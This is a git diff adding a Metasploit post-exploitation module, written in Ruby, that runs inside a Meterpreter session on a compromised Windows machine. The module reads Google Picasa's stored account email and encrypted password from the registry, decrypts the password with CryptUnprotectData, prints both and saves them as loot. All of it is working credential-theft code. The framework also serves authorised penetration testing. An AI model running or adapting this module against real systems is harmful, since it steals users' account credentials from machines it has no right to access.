diff --git a/modules/post/windows/gather/enum_picasa_pwds.rb b/modules/post/windows/gather/enum_picasa_pwds.rb new file mode 100644 index 0000000000..46d97515e4 --- /dev/null +++ b/modules/post/windows/gather/enum_picasa_pwds.rb @@ -0,0 +1,160 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/windows/registry' +require 'msf/core/post/windows/priv' + +class Metasploit3 < Msf::Post + + include Msf::Post::Windows::Registry + include Msf::Post::Windows::Priv + include Msf::Auxiliary::Report + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Google Picasa Password Extractor', + 'Description' => %q{This module extracts and decrypts the login passwords + stored by Google Picasa.}, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'SecurityXploded Team', #www.SecurityXploded.com + 'Sil3ntDre4m ', + ], + 'Version' => '$Revision$', + 'Platform' => [ 'windows' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + end + + + def prepare_railgun + rg = session.railgun + if (!rg.get_dll('crypt32')) + rg.add_dll('crypt32') + end + + if (!rg.crypt32.functions["CryptUnprotectData"]) + rg.add_function("crypt32", "CryptUnprotectData", "BOOL", [ + ["PBLOB","pDataIn", "in"], + ["PWCHAR", "szDataDescr", "out"], + ["PBLOB", "pOptionalEntropy", "in"], + ["PDWORD", "pvReserved", "in"], + ["PBLOB", "pPromptStruct", "in"], + ["DWORD", "dwFlags", "in"], + ["PBLOB", "pDataOut", "out"] + ]) + end + end + + + def decrypt_password(data) + rg = session.railgun + pid = client.sys.process.getpid + process = client.sys.process.open(pid, PROCESS_ALL_ACCESS) + + mem = process.memory.allocate(512) + process.memory.write(mem, data) + + if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86" + addr = [mem].pack("V") + len = [data.length].pack("V") + ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8) + len, addr = ret["pDataOut"].unpack("V2") + else + addr = [mem].pack("Q") + len = [data.length].pack("Q") + ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16) + len, addr = ret["pDataOut"].unpack("Q2") + end + + return "" if len == 0 + decrypted_pw = process.memory.read(addr, len) + return decrypted_pw + end + + def get_registry + psecrets = "" + + begin + print_status("Looking in registry for stored login passwords by Picasa ...") + + username = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa2\\Preferences\\", + 'GaiaEmail') + password = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa2\\Preferences\\", + 'GaiaPass') + + if username != nil and password != nil + passbin = [password].pack("H*") + pass = decrypt_password(passbin) + + if pass != nil + print_status("Username: #{username}") + print_status("Password: #{pass}") + secret = "#{username}:#{pass}" + psecrets << secret + end + end + + #For early versions of Picasa3 + username = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa3\\Preferences\\", + 'GaiaEmail') + password = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa3\\Preferences\\", + 'GaiaPass') + + if username != nil and password != nil + passbin = [password].pack("H*") + pass = decrypt_password(passbin) + + if pass != nil + print_status("Username: #{username}") + print_status("Password: #{pass}") + + secret = "#{username}:#{pass}" + psecrets << secret + end + end + + # store the loot + if psecrets != "" + path = store_loot( + "picasa.decrypted", + "text/plain", + session, + psecrets, + "decrypted_picasa_data.txt", + "Decrypted Picasa Passwords") + + print_status("Decrypted passwords saved in: #{path}") + end + + rescue ::Exception => e + print_error("An error has occured: #{e.to_s}") + end + end + + def run + uid = session.sys.config.getuid #Decryption only works in context of user's account. + + if is_system? + print_error("This module is running under #{uid}.") + print_error("Automatic decryption will not be possible.") + print_error("Migrate to a user process to achieve successful decryption (e.g. explorer.exe).") + else + prepare_railgun + get_registry() + end + + print_status("Done") + end +end \ No newline at end of file